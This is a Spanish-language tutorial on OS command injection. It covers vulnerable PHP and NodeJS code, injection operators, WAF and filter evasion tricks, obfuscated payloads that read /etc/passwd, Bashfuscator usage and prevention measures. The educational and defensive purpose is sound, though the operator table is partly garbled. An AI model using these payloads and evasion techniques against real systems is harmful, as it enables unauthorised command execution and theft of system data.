Secciones
1. Introducción
En esta entrega exploraremos detalladamente las inyecciones de comandos: qué son, cómo se detectan, explotan, cómo esquivar filtros y, por supuesto, las mejores defensas.
1.1. Qué son las Inyecciones de Comandos
Las inyecciones de comandos (Command Injection) son una de las vulnerabilidades más críticas en aplicaciones web. Ocurren cuando datos controlados por el usuario se incorporan sin saneamiento a llamadas del sistema operativo, permitiendo a un atacante ejecutar instrucciones arbitrarias en el servidor.
Las inyecciones forman parte del Top 10 de OWASP debido a su impacto y frecuencia. En esencia, si una entrada del usuario no se escapa correctamente y termina dentro de un system()
, exec()
o similar, podemos añadir operadores para romper la lógica y mandar ejecutar lo que queramos.
Tipos comunes de inyección:
Inyección | Descripción |
---|---|
Comandos del S.O. | La entrada del usuario se concatena directamente a un comando del sistema. |
Código | Se evalúa o ejecuta texto como código dentro de la aplicación. |
SQL | Inserción maliciosa en consultas SQL. |
XSS / HTML | Inyección de scripts o marcado en páginas web. |
Además existen LDAP, NoSQL, HTTP Header, XPath, IMAP, ORM, etc. Siempre que la aplicación use datos inseguros sin filtrar, hay riesgo.
2. Inyección de Comandos en distintos lenguajes
2.1. PHP: Vulnerabilidad típica
<?php
if (isset($_GET['filename'])) {
system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>
Aquí filename
viene del usuario y se pasa a system()
sin ninguna validación, permitiendo ?filename=foo;whoami
.
2.2. NodeJS: lo mismo con child_process
app.get("/createfile", (req, res) => {
child_process.exec(`touch /tmp/${req.query.filename}.txt`);
});
La forma cambia, pero la vulnerabilidad persiste si no se desinfecta la entrada.
3. Detección y explotación básica
Para confirmar un punto de inyección, la estrategia base es agregar un operador tras la entrada esperada. Por ejemplo, en un «Host Checker» que hace ping -c 1 <IP>
podríamos enviar:
127.0.0.1; whoami
y si obtenemos en la respuesta el usuario del sistema (www-data
, root
, etc.), sabemos que ejecutamos código.
3.1. Operadores más usados:
Operador | Carácter | URL-encoded | Resultado de ejecución | ||||
; | ; | %3B | ejecuta ambos comandos | ||||
&& | && | %26%26 | segundo solo si el primero tuvo éxito | ||||
` | ` | ` | ` | %7C%7C | segundo solo si el primero falla | ||
& | & | %26 | ejecuta en background | ||||
` | ` | ` | ` | %7C | pipelining, pero solo salida del segundo | ||
« | %60 | sub-shell en Linux | |||||
$() | $() | %24%28 … | sub-shell en Linux |
Estos operadores funcionan sin importar el backend (PHP, NodeJS, .NET) si se ejecuta en Linux, Windows PowerShell o CMD con ligeras variantes.
4. Evasión de Filtros y WAF
Los desarrolladores suelen bloquear caracteres (;
, &
, |
, espacios) o palabras (whoami
, cat
, etc.) en el backend o a nivel de WAF.
4.1 Identificar caracteres bloqueados
Reducimos la carga útil probando un carácter a la vez: si 127.0.0.1;
devuelve «Invalid input», sabemos que ;
está en lista negra.
4.1.1. Escapar espacios
- Tabs:
%09
en lugar de espacio. - Variable
$IFS
:${IFS}
expande a espacio/tab. - Brace expansion:
{ls,-la}
generals -la
sin espacios.
4.1.2. Generar /
o ;
desde variables de entorno (Linux)
# "/" desde $PATH
echo ${PATH:0:1}
# ";" desde $LS_COLORS (posición 10)
echo ${LS_COLORS:10:1}
4.2 Evasión de comandos en lista negra
Inserción de caracteres ignorados (quotes, backslashes, $@
):
w'h'o'a'm'i
w\ho\am\i
# o en Windows:
who^ami
5. Ofuscación Avanzada
Para entornos con WAFs robustos, usamos:
- Manipulación de mayúsculas/minúsculas:
WhOaMi
o $(tr '[A-Z]' '[a-z]'<<<'WhOaMi')
- Reversión: invierte y ejecuta.
$(rev<<<'imaohw')
- Codificación Base64:
pay=$(echo -n 'cat /etc/passwd | grep 33' | base64) bash<<<$(base64 -d<<<$pay)
En Windows PowerShell análogo mediante [Convert]::ToBase64String
y iex
.
6. Herramientas de Automatización
- Bashfuscator (Linux):genera payload ofuscado.
bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
- Invoke-DOSfuscation (Windows): interactivo con
Invoke-DOSfuscation
en PowerShell.
7. Prevención de Inyección de Comandos
- Evitar funciones de sistema: usar APIs nativas (
fsockopen
,DNS
libraries) antes quesystem()
. - Validación estricta: front y backend. Ejemplo en PHP:
if (!filter_var($_GET['ip'], FILTER_VALIDATE_IP)) die('Invalid');
- Saneamiento: eliminar todo carácter no permitido:
$ip = preg_replace('/[^A-Za-z0-9\.]/','', $_GET['ip']);
- Principio de menor privilegio: correr web server como usuario no root.
- WAF y políticas:
mod_security
, Cloudflare. - Deshabilitar funciones críticas: en
php.ini
,disable_functions=system,exec,
…
Con esta guía, tendrás un panorama completo de cómo funcionan, se evaden y se previenen las inyecciones de comandos.